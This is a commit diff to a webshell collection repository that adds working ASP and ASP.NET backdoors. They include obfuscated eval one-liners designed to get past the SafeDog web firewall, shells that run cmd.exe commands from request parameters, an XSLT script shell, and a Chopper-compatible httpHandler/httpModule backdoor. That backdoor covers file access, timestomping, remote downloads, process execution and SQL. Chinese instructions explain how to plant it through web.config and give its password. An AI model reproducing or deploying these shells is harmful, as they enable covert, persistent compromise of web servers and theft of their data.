add WSO_base64.php @HARDLINUX 👍

author : HARDLINUX
url : https://github.com/HARDLINUX/webshell/
ver : WSO 2.2.0

README.md

@@ -18,10 +18,13 @@
 
 本项目提供的工具，禁止从事非法活动，此项目，仅供测试，所造成的一切后果，与本人无关。
 
-Author：tennc
+Author ：tennc
 
 http://tennc.github.io/webshell
 
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/3.0/80x15.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License</a>.
-<p>
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh"><img alt="知识共享许可协议" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/3.0/80x15.png" /></a><br />本作品采用<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh">知识共享署名-非商业性使用-相同方式共享 3.0 未本地化版本许可协议</a>进行许可。
+license : GPL v3
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)

asp/base.asp

@@ -0,0 +1 @@
+<%Execute(DeAsc("%119%136%115%126%50%132%119%131%135%119%133%134%58%52%116%115%133%119%52%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I=1 To Ubound(Str):DeAsc=DeAsc&Chr(Str(I)-18):Next:End Function%>

asp/bypass_safedog_01.asp

@@ -0,0 +1,34 @@
+<script runat="server" language="JScript">
+function exs(str) {
+  var q = "u";
+  var w = "afe";
+  var a = q + "ns" + w;
+  var b= /*///*/eval(str,a);
+  return(b);
+   }
+function dec(str,key) {
+  var k,q,t;
+  var s="";
+  var p="";
+  for(k = 0; k < str.length; k=k+2)
+  {
+    t = ((k+2)/2) % key.length;
+    p = key.substr(t, 1);
+    if (isFinite(str.substr(k, 1)))
+    {
+      q = "0x"+ str.substr(k, 2);
+      s = s + char(int(q)-p);// + "|" + p +"|";
+    }
+    else
+    {
+      q = "0x"+ str.substr(k, 4);
+      s = s + char(int(q)-p);
+      k = k+2;
+    }
+  }
+  return(s);
+   }
+</script>
+<%
+exs(exs(dec("556675766874782F4C75696E5E237E2360","1314"))); 
+%>

asp/bypass_safedog_02.asp

@@ -0,0 +1,6 @@
+<%@ Page Language = Jscript %>
+<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
+"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
+(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

asp/bypass_safedog_03.asp

@@ -0,0 +1,19 @@
+<%
+Function Writesource(str)
+  Response.write(str)
+End Function
+Function cd(ByVal s, ByVal key)
+    For i = 1 To Len(s) Step 2
+        c = Mid(s, i, 2)
+        k = (i + 1) / 2 Mod Len(key) + 1
+        p = Mid(key, k, 1)
+        If IsNumeric(Mid(s, i, 1)) Then
+            cd = cd & Chr(("&H" & c) - p)
+        Else
+            cd = cd & Chr("&H" & c & Mid(s, i + 2, 2))
+            i = i + 2
+        End If
+    Next
+End Function
+Execute cd("6877656D2B736972786677752B237E232C2A","1314")
+%>

asp/cmd提权马.asp

@@ -0,0 +1,68 @@
+<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Diagnostics"%>
+<%@ import Namespace="System.Data"%>
+<%@ import Namespace="System.Management"%>
+<%@ import Namespace="System.Data.OleDb"%>
+<%@ import Namespace="Microsoft.Win32"%>
+<%@ import Namespace="System.Net.Sockets" %>
+<%@ import Namespace="System.Net" %>
+<%@ import Namespace="System.Web.UI"%>
+<%@ import Namespace="System.Runtime.InteropServices"%>
+<%@ import Namespace="System.DirectoryServices"%>
+<%@ import Namespace="System.ServiceProcess"%>
+<%@ import Namespace="System.Text.RegularExpressions"%>
+<%@ Import Namespace="System.Threading"%>
+<%@ Import Namespace="System.Data.SqlClient"%>
+<%@ import Namespace="Microsoft.VisualBasic"%>
+<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<script runat="server">
+protected void Page_load(object sender,EventArgs e)
+{
+  string ok = Request.QueryString["sb"];
+  string shell= Request.QueryString["shell"];
+  //www.moonsec.com moon
+  Response.Write(shell + ok );
+  Response.Write("<pre>");
+  Response.Write(GetCmd(ok,shell));
+  Response.Write("</pre>");
+}
+
+private string GetCmd(string cmd,string shell)
+{
+  string ok = string.Empty;
+   Process p = new Process();
+            p.StartInfo.FileName = shell;
+            p.StartInfo.UseShellExecute = false;
+            p.StartInfo.RedirectStandardInput = true;
+            p.StartInfo.RedirectStandardOutput = true;
+            p.StartInfo.RedirectStandardError = true;
+            p.StartInfo.CreateNoWindow = true;
+            string strOutput = null;
+            try
+            {
+                p.Start();
+                p.StandardInput.WriteLine(cmd);
+        Response.Write(cmd);
+                p.StandardInput.WriteLine("exit");
+                ok = p.StandardOutput.ReadToEnd();
+                p.WaitForExit();
+                p.Close();
+             }
+            catch (Exception ex)
+             {
+        Response.Write("<pre>");
+        Response.Write(ex);
+        Response.Write("/<pre>");
+                 }
+  return ok;
+}
+</script>
+</head>
+<body>
+</body>
+</html>

asp/xslt.asp

@@ -0,0 +1,9 @@
+<%
+set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
+xml="<?xml version=""1.0""?><root >cmd /c dir</root>"
+xmldoc.loadxml(xml)
+Set xsldoc = Server.CreateObject("MSXML2.DOMDocument")
+xlst="<?xml version='1.0'?><xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh""><msxsl:script language=""JScript"" implements-prefix=""zcg""> function xml(x) {var a=new ActiveXObject('wscript.shell'); var exec=a.Exec(x);return exec.StdOut.ReadAll()+exec.StdErr.ReadAll(); }</msxsl:script><xsl:template match=""/root""> <xsl:value-of select=""zcg:xml(string(.))""/></xsl:template></xsl:stylesheet>"
+xsldoc.loadxml(xlst)
+response.write "<pre><xmp>" & xmldoc.TransformNode(xsldoc)& "</xmp></pre>"
+%>

aspx/as.ashx

@@ -0,0 +1,26 @@
+<%@ WebHandler Language="C#" Class="Handler2" %>
+using System;
+using System.Collections.Generic; 
+using System.Diagnostics;
+using System.Web;
+public class Handler2 : IHttpHandler {
+public void ProcessRequest (HttpContext context) {
+//string x = "-an";
+string x = context.Request["x"];
+Process prc=new Process(); 
+prc.StartInfo.FileName="cmd.exe"; 
+prc.StartInfo.UseShellExecute=false; 
+prc.StartInfo.RedirectStandardInput = true; 
+prc.StartInfo.RedirectStandardOutput = true; 
+prc.StartInfo.RedirectStandardError = true; 
+prc.StartInfo.CreateNoWindow = false; 
+prc.Start();
+prc.StandardInput.WriteLine(x);
+prc.StandardInput.Close();
+context.Response.Write(prc.StandardOutput.ReadToEnd());
+context.Response.End();}
+public bool IsReusable {
+        get {
+            return false;
+        }
+    }}

aspx/httpHandlers_backdoor/Customize.cs

@@ -0,0 +1,332 @@
+using System;
+using System.Data;
+using System.Configuration;
+using System.Web;
+using System.IO;
+using System.Text;
+using System.Net;
+using System.Diagnostics;
+using System.Data.SqlClient;
+ 
+namespace WooYun
+{
+ 
+    public class Customize
+    {
+ 
+        public static void CP(string S, string D)
+        {
+            if (Directory.Exists(S))
+            {
+                DirectoryInfo m = new DirectoryInfo(S);
+                Directory.CreateDirectory(D);
+                foreach (FileInfo F in m.GetFiles())
+                {
+                    File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+                }
+                foreach (DirectoryInfo F in m.GetDirectories())
+                {
+                    CP(S + "\\" + F.Name, D + "\\" + F.Name);
+                }
+            }
+            else
+            {
+                File.Copy(S, D);
+            }
+        }
+ 
+        public static void Request()
+        {
+            HttpContext context = HttpContext.Current;
+            HttpRequest request = context.Request;
+            HttpResponse response = context.Response;
+            string Z = request.Form["023"];
+            if (Z != "")
+            {
+                string Z1 = request.Form["Z1"];
+                string Z2 = request.Form["Z2"];
+                string R = "";
+                try
+                {
+                    switch (Z)
+                    {
+                        case "A":
+                            {
+                                string[] c = Directory.GetLogicalDrives();
+                                R = string.Format("{0}\t", context.Server.MapPath("/"));
+                                for (int i = 0; i < c.Length; i++)
+                                    R += c[i][0] + ":";
+                                break;
+                            }
+                        case "B":
+                            {
+                                DirectoryInfo m = new DirectoryInfo(Z1);
+                                foreach (DirectoryInfo D in m.GetDirectories())
+                                {
+                                    R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                                }
+                                foreach (FileInfo D in m.GetFiles())
+                                {
+                                    R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                                }
+                                break;
+                            }
+                        case "C":
+                            {
+                                StreamReader m = new StreamReader(Z1, Encoding.Default);
+                                R = m.ReadToEnd();
+                                m.Close();
+                                break;
+                            }
+                        case "D":
+                            {
+                                StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                                m.Write(Z2);
+                                R = "1";
+                                m.Close();
+                                break;
+                            }
+                        case "E":
+                            {
+                                if (Directory.Exists(Z1))
+                                    Directory.Delete(Z1, true);
+                                else
+                                    File.Delete(Z1);
+                                R = "1";
+                                break;
+                            }
+                        case "F":
+                            {
+                                response.Clear();
+                                response.Write("\x2D\x3E\x7C");
+                                response.WriteFile(Z1);
+                                response.Write("\x7C\x3C\x2D");
+                                goto End;
+                            }
+                        case "G":
+                            {
+                                byte[] B = new byte[Z2.Length / 2];
+                                for (int i = 0; i < Z2.Length; i += 2)
+                                {
+                                    B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                                }
+                                FileStream fs = new FileStream(Z1, FileMode.Create);
+                                fs.Write(B, 0, B.Length);
+                                fs.Close();
+                                R = "1";
+                                break;
+                            }
+                        case "H":
+                            {
+                                CP(Z1, Z2); R = "1";
+                                break;
+                            }
+                        case "I":
+                            {
+                                if (Directory.Exists(Z1))
+                                {
+                                    Directory.Move(Z1, Z2);
+                                }
+                                else
+                                {
+                                    File.Move(Z1, Z2);
+                                }
+                                break;
+                            }
+                        case "J":
+                            {
+                                Directory.CreateDirectory(Z1);
+                                R = "1";
+                                break;
+                            }
+                        case "K":
+                            {
+                                DateTime TM = Convert.ToDateTime(Z2);
+                                if (Directory.Exists(Z1))
+                                {
+                                    Directory.SetCreationTime(Z1, TM);
+                                    Directory.SetLastWriteTime(Z1, TM);
+                                    Directory.SetLastAccessTime(Z1, TM);
+                                }
+                                else
+                                {
+                                    File.SetCreationTime(Z1, TM);
+                                    File.SetLastWriteTime(Z1, TM);
+                                    File.SetLastAccessTime(Z1, TM);
+                                }
+                                R = "1";
+                                break;
+                            }
+                        case "L":
+                            {
+                                HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
+                                RQ.Method = "GET";
+                                RQ.ContentType = "application/x-www-form-urlencoded";
+                                HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
+                                Stream WF = WB.GetResponseStream();
+                                FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
+                                int i;
+                                byte[] buffer = new byte[1024];
+                                while (true)
+                                {
+                                    i = WF.Read(buffer, 0, buffer.Length);
+                                    if (i < 1) break; FS.Write(buffer, 0, i);
+                                }
+                                WF.Close();
+                                WB.Close();
+                                FS.Close();
+                                R = "1";
+                                break;
+                            }
+                        case "M":
+                            {
+                                System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
+                                System.Diagnostics.Process e = new System.Diagnostics.Process();
+                                System.IO.StreamReader OT, ER;
+                                c.UseShellExecute = false;
+                                c.RedirectStandardOutput = true;
+                                c.RedirectStandardError = true;
+                                e.StartInfo = c;
+                                c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                                e.Start();
+                                OT = e.StandardOutput;
+                                ER = e.StandardError;
+                                e.Close();
+                                R = OT.ReadToEnd() + ER.ReadToEnd();
+                                break;
+                            }
+                        case "N":
+                            {
+                                String strDat = Z1.ToUpper();
+                                SqlConnection Conn = new SqlConnection(Z1);
+                                Conn.Open();
+                                R = Conn.Database + "\t";
+                                Conn.Close();
+                                break;
+                            }
+                        case "O":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n');
+                                String strConn = x[0], strDb = x[1];
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                DataTable dt = Conn.GetSchema("Columns");
+                                Conn.Close();
+                                for (int i = 0; i < dt.Rows.Count; i++)
+                                {
+                                    R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                                }
+                                break;
+                            }
+                        case "P":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                                String strConn = x[0], strDb = x[1], strTable = x[2];
+                                p[0] = strDb;
+                                p[2] = strTable;
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                DataTable dt = Conn.GetSchema("Columns", p);
+                                Conn.Close();
+                                for (int i = 0; i < dt.Rows.Count; i++)
+                                {
+                                    R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                                }
+                                break;
+                            }
+                        case "Q":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n');
+                                String strDat, strConn = x[0], strDb = x[1];
+                                int i, c;
+                                strDat = Z2.ToUpper();
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                                {
+                                    SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
+                                    DataSet ds = new DataSet(); OD.Fill(ds);
+                                    if (ds.Tables.Count > 0)
+                                    {
+                                        DataRowCollection rows = ds.Tables[0].Rows;
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                        }
+                                        R += "\r\n"; for (i = 0; i < rows.Count; i++)
+                                        {
+                                            for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                            {
+                                                R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                            }
+                                            R += "\r\n";
+                                        }
+                                    }
+                                    ds.Clear();
+                                    ds.Dispose();
+                                }
+                                else
+                                {
+                                    SqlCommand cm = Conn.CreateCommand();
+                                    cm.CommandText = Z2;
+                                    cm.ExecuteNonQuery();
+                                    R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                                }
+                                Conn.Close();
+                                break;
+                            }
+                        default:
+                            goto End;
+                    }
+                }
+                catch (Exception E)
+                {
+                    R = "ERROR:// " + E.Message;
+                }
+                response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+            End: ;
+            }
+            response.End();
+        }
+    }
+ 
+    public class CustomizeHttpHandler : IHttpHandler
+    {
+        public bool IsReusable
+        {
+            get
+            {
+                return true;
+            }
+        }
+ 
+        public void ProcessRequest(HttpContext context)
+        {
+            Customize.Request();
+        }
+    }
+ 
+    public class CustomizeHttpModule : IHttpModule
+    {
+ 
+        #region IHttpModule 成员
+ 
+        public void Dispose()
+        {
+ 
+        }
+ 
+        public void Init(HttpApplication context)
+        {
+            context.BeginRequest += new EventHandler(context_BeginRequest);
+        }
+ 
+        void context_BeginRequest(object sender, EventArgs e)
+        {
+            Customize.Request();
+        }
+ 
+        #endregion
+    }
+ 
+}

aspx/httpHandlers_backdoor/global.asax

@@ -0,0 +1,324 @@
+<%@ Application Language="C#" %>
+ 
+<script RunAt='server'>
+ 
+    void Application_Start(object sender, EventArgs e)
+    {
+        //在应用程序启动时运行的代码
+ 
+    }
+ 
+    void Application_End(object sender, EventArgs e)
+    {
+        //在应用程序关闭时运行的代码
+ 
+    }
+ 
+    void Application_Error(object sender, EventArgs e)
+    {
+ 
+ 
+    }
+ 
+    void Session_Start(object sender, EventArgs e)
+    {
+        //在新会话启动时运行的代码
+ 
+    }
+ 
+    void Session_End(object sender, EventArgs e)
+    {
+        //在会话结束时运行的代码。 
+        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
+        // InProc 时，才会引发 Session_End 事件。如果会话模式 
+        //设置为 StateServer 或 SQLServer，则不会引发该事件。
+ 
+    }
+ 
+    void CP(string S, string D)
+    {
+        if (System.IO.Directory.Exists(S))
+        {
+            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
+            System.IO.Directory.CreateDirectory(D);
+            foreach (System.IO.FileInfo F in m.GetFiles())
+            {
+                System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+            foreach (System.IO.DirectoryInfo F in m.GetDirectories())
+            {
+                CP(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+        }
+        else
+        {
+            System.IO.File.Copy(S, D);
+        }
+    }
+ 
+    void EvalRequest(string action)
+    {
+        HttpContext context = HttpContext.Current;
+        HttpRequest request = context.Request;
+        HttpResponse response = context.Response;
+ 
+        string Z = action;
+        if (Z != "")
+        {
+            string Z1 = request.Form["Z1"];
+            string Z2 = request.Form["Z2"];
+            string R = "";
+            try
+            {
+                switch (Z)
+                {
+                    case "A":
+                        {
+                            string[] c = System.IO.Directory.GetLogicalDrives();
+                            R = string.Format("{0}\t", context.Server.MapPath("~"));
+                            for (int i = 0; i < c.Length; i++)
+                                R += c[i][0] + ":";
+                            break;
+                        }
+                    case "B":
+                        {
+                            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
+                            foreach (System.IO.DirectoryInfo D in m.GetDirectories())
+                            {
+                                R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                            }
+                            foreach (System.IO.FileInfo D in m.GetFiles())
+                            {
+                                R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                            }
+                            break;
+                        }
+                    case "C":
+                        {
+                            System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
+                            R = m.ReadToEnd();
+                            m.Close();
+                            break;
+                        }
+                    case "D":
+                        {
+                            System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2);
+                            R = "1";
+                            m.Close();
+                            break;
+                        }
+                    case "E":
+                        {
+                            if (System.IO.Directory.Exists(Z1))
+                                System.IO.Directory.Delete(Z1, true);
+                            else
+                                System.IO.File.Delete(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "F":
+                        {
+                            response.Clear();
+                            response.Write("\x2D\x3E\x7C");
+                            response.WriteFile(Z1);
+                            response.Write("\x7C\x3C\x2D");
+                            goto End;
+                        }
+                    case "G":
+                        {
+                            byte[] B = new byte[Z2.Length / 2];
+                            for (int i = 0; i < Z2.Length; i += 2)
+                            {
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                            }
+                            System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
+                            fs.Write(B, 0, B.Length);
+                            fs.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "H":
+                        {
+                            CP(Z1, Z2);
+                            R = "1";
+                            break;
+                        }
+                    case "I":
+                        {
+                            if (System.IO.Directory.Exists(Z1))
+                            {
+                                System.IO.Directory.Move(Z1, Z2);
+                            }
+                            else
+                            {
+                                System.IO.File.Move(Z1, Z2);
+                            }
+                            break;
+                        }
+                    case "J":
+                        {
+                            System.IO.Directory.CreateDirectory(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "K":
+                        {
+                            DateTime TM = Convert.ToDateTime(Z2);
+                            if (System.IO.Directory.Exists(Z1))
+                            {
+                                System.IO.Directory.SetCreationTime(Z1, TM);
+                                System.IO.Directory.SetLastWriteTime(Z1, TM);
+                                System.IO.Directory.SetLastAccessTime(Z1, TM);
+                            }
+                            else
+                            {
+                                System.IO.File.SetCreationTime(Z1, TM);
+                                System.IO.File.SetLastWriteTime(Z1, TM);
+                                System.IO.File.SetLastAccessTime(Z1, TM);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "L":
+                        {
+                            System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1));
+                            RQ.Method = "GET";
+                            RQ.ContentType = "application/x-www-form-urlencoded";
+                            System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
+                            System.IO.Stream WF = WB.GetResponseStream();
+                            System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
+                            int i;
+                            byte[] buffer = new byte[1024];
+                            while (true)
+                            {
+                                i = WF.Read(buffer, 0, buffer.Length);
+                                if (i < 1) break; FS.Write(buffer, 0, i);
+                            }
+                            WF.Close();
+                            WB.Close();
+                            FS.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "M":
+                        {
+                            System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
+                            System.Diagnostics.Process e = new System.Diagnostics.Process();
+                            System.IO.StreamReader OT, ER;
+                            c.UseShellExecute = false;
+                            c.RedirectStandardOutput = true;
+                            c.RedirectStandardError = true;
+                            e.StartInfo = c;
+                            c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start(); OT = e.StandardOutput;
+                            ER = e.StandardError;
+                            e.Close();
+                            R = OT.ReadToEnd() + ER.ReadToEnd();
+                            break;
+                        }
+                    case "N":
+                        {
+                            String strDat = Z1.ToUpper();
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
+                            Conn.Open();
+                            R = Conn.Database + "\t";
+                            Conn.Close(); break;
+                        }
+                    case "O":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strConn = x[0], strDb = x[1];
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            System.Data.DataTable dt = Conn.GetSchema("Columns");
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                            }
+                            break;
+                        }
+                    case "P":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                            String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
+                            p[2] = strTable;
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            System.Data.DataTable dt = Conn.GetSchema("Columns", p);
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                            }
+                            break;
+                        }
+                    case "Q":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strDat, strConn = x[0], strDb = x[1];
+                            int i, c;
+                            strDat = Z2.ToUpper();
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                            {
+                                System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
+                                System.Data.DataSet ds = new System.Data.DataSet();
+                                OD.Fill(ds);
+                                if (ds.Tables.Count > 0)
+                                {
+                                    System.Data.DataRowCollection rows = ds.Tables[0].Rows;
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                    {
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                    }
+                                    R += "\r\n";
+                                    for (i = 0; i < rows.Count; i++)
+                                    {
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                        }
+                                        R += "\r\n";
+                                    }
+                                }
+                                ds.Clear();
+                                ds.Dispose();
+                            }
+                            else
+                            {
+                                System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
+                                cm.CommandText = Z2;
+                                cm.ExecuteNonQuery();
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                            }
+                            Conn.Close();
+                            break;
+                        }
+                    default:
+                        goto End;
+                }
+            }
+            catch (Exception E)
+            {
+                R = "ERROR:// " + E.Message;
+            }
+            response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+        End: ;
+        }
+    }
+ 
+    //在接收到一个应用程序请求时触发。对于一个请求来说，它是第一个被触发的事件，请求一般是用户输入的一个页面请求（URL）。
+    void Application_BeginRequest(object sender, EventArgs evt)
+    {
+        string action = Request.Form["023"];
+        if (action != null)
+        {
+            EvalRequest(action);
+            Response.End();
+        }
+    }
+ 
+</script>

aspx/httpHandlers_backdoor/httpHandlers.md

@@ -0,0 +1,16 @@
+修改web.config，添加或者修改httpHandlers:
+
+```
+  <httpHandlers>
+    <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
+  </httpHandlers>
+```
+如果已经存在 httpHandlers 则在标签内添加，如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里
+
+但是有一点需要特别注意：<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
+```
+  <system.webServer>
+    <modules runAllManagedModulesForAllRequests="true" />
+  </system.webServer>
+```
+

aspx/httpHandlers_backdoor/httpModules.md

@@ -0,0 +1,8 @@
+相比修改httpHandlers显然这种办法更加的有效且安全一些。但是一定要把这个httpModule的顺序配置到httpModules的第一个。
+修改web.config，添加或者修改httpHandlers:
+
+```
+<httpModules>
+    <add name="WooYun" type="WooYun.CustomizeHttpModule"/>
+</httpModules>
+```

aspx/httpHandlers_backdoor/readme.md

@@ -0,0 +1,32 @@
+## author:园长
+### url: http://javaweb.org/?p=1755
+
+使用说明
+global.asax是不需要编译的，所以直接忽略。
+
+httpHandlers和httpModules配置方式：
+
+1、自行编译上面的cs文件dll
+
+2、复制dll到bin目录
+
+3、修改上述配置，并仔细检查
+
+或：
+
+1、直接新建个Customize.cs文件
+
+2、复制Customize.cs文件到App_Code目录
+
+3、修改上述配置，并仔细检查
+
+连接：
+
+1、菜刀连接的时候必须选Customize：
+
+2、httpHandlers 可以自己指定后缀，比如你配置了.api请求那么可以  http://xx.com/123456.api  做为shell地址，可能会有不能拦截除aspx的情况
+
+3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx  
+
+4、连接密码:023
+

aspx/wooyun2015052301.aspx

@@ -0,0 +1 @@
